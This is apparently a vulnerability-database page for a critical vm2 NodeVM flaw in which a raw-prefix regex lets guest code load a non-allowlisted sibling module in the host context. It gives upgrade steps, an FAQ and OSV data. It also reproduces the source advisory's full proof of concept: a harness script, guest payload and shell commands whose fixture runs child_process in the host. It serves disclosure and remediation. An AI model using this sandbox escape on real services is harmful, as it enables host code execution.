CVE-2026-100721: vm2 NodeVM Custom Resolution Bypasses External Vulnerability

CRITICAL
Advisory Identifier: GHSA-5h3f-q97h-ccvc
CVSS 10.0
CWE-863
Published
Advisory Summary

CVE-2026-100721 is a CRITICAL (CVSS 10.0) nodevm custom resolution bypasses external vulnerability (CWE-863: Incorrect Authorization) affecting vm2 libraries in the npm ecosystem. The issue involves nodevm custom resolution bypasses external path boundaries. Remediation is available by upgrading affected packages to version 3.12.2.

CVE-2026-100721 at a Glance

CVE Identifier CVE-2026-100721
GHSA Identifier GHSA-5h3f-q97h-ccvc
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-863: Incorrect Authorization
Affected Product vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-100721

To remediate this vulnerability, upgrade all affected vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.12.2
npm install vm2@3.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-100721, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.2), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary At source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`. ## Technical Details The affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted. The source-to-sink path is: - `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`. - `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`. - `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`. - `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required. - `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped. The relevant current code has the same flaw for both supported custom-resolver return shapes: ```js if (typeof resolved === 'string') { this.externals.push(new RegExp('^' + escapeRegExp(resolved))); return this.loadAsFileOrDirectory(resolved, extList); } const {module=x, path: resolvedPath} = resolved; this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath))); return this.loadNodeModules(module, [resolvedPath], extList); ``` The existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix. ## PoV The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path: ```js const foo = require('foo'); module.exports = { foo, sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js') }; ``` The corresponding embedder configuration is: ```js const vm = new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root: '/tmp/vm2-prefix-case', context: 'host', resolve(name) { return name === 'foo' ? '/tmp/vm2-prefix-case/node_modules/foo' : undefined; } } }); ``` The sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code. ## PoC From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts: ```sh git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164 npm ci --ignore-scripts ``` Save the following harness as `/tmp/custom-resolve-prefix.js`: ```js 'use strict'; const path = require('path'); const { NodeVM } = require(process.cwd() + '/lib/main.js'); const [, , mode, fooIndexPath, siblingPath] = process.argv; const fooDir = path.dirname(fooIndexPath); const root = path.resolve(fooDir, '../..'); const entry = path.join(path.dirname(root), 'entry.js'); let customCalls = 0; function runGuest(code) { return new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root, context: 'host', resolve(moduleName) { if (moduleName === 'foo') { customCalls++; return fooDir; } return undefined; } } }).run(code, entry); } const record = {mode, result: 'invalid'}; try { if (mode === 'candidate') { const output = runGuest(` const foo = require('foo'); module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})}; `); record.output = output; if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') { record.result = 'violation'; record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN'; } else { record.result = 'pass'; } } else if (mode === 'control') { try { runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`); record.result = 'violation'; record.signal = 'prefix-sharing sibling loaded before custom resolution'; } catch (error) { record.result = 'pass'; record.denial = String(error && (error.code || error.message) || error); } } else { record.error = 'unknown mode'; } } catch (error) { record.result = 'invalid'; record.error = String(error && (error.stack || error.message) || error); } record.customCalls = customCalls; console.log(JSON.stringify(record)); ``` Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix: ```sh mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2 cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF' 'use strict'; module.exports = 'FOO_OK'; EOF cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF' 'use strict'; module.exports = require('child_process').execFileSync( process.execPath, ['-e', "process.stdout.write('PREFIX_PWN')"] ).toString(); EOF ``` Run the attack and then the negative control from the repository checkout: ```sh node /tmp/custom-resolve-prefix.js candidate \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js node /tmp/custom-resolve-prefix.js control \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js ``` The decisive results were: ```text {"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1} {"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0} ``` Both executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied. ## Impact This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability. ## Suggested Fix Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result: ```js const externalPath = value => new RegExp( '^' + escapeRegExp(value) + '(?:[\\/].*)?$' ); ``` Use `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex. Add regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization. ## Affected Package/Versions - Package: `vm2` in the npm ecosystem. - Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`. - Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`. - Current head: the pinned revision is vulnerable, as shown by the attack/control pair above. - Patched versions: none identified by the tested evidence. - Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed. ## Advisory History The closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch. [GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.

CVE-2026-100721 Affected vm2 Versions

1 component(s)
Fixed Versions:
3.12.2
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.12.2
3.12.2

References

Frequently Asked Questions

What is CVE-2026-100721?
CVE-2026-100721 is a security vulnerability in vm2 involving NodeVM custom resolution bypasses external path boundaries under CWE-863: Incorrect Authorization.
Which vm2 versions are affected?
Affected versions include releases prior to 3.12.2 across affected packages: vm2.
What version fixes CVE-2026-100721?
Upgrading to 3.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.12.2. Upgrade your dependency to 3.12.2 or later.
What is the CVSS score of CVE-2026-100721?
CVE-2026-100721 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-100721?
CVE-2026-100721 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check npm dependencies for CVE-2026-100721?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5h3f-q97h-ccvc",
  "modified" : "2026-10-05T23:24:29Z",
  "published" : "2026-10-05T23:24:29Z",
  "aliases" : [ "CVE-2026-100721" ],
  "summary" : "vm2: NodeVM custom resolution bypasses external path boundaries",
  "details" : "## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error && (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error && (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value => new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-100721"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.12.2"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T23:24:29Z",
    "nvd_published_at" : null
  }
}